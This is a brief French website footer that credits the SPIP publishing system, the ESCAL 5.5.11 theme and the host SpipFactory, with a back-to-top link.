Haut de page
Réalisé sous SPIP
Habillage ESCAL 5.5.11
Hébergeur : SpipFactory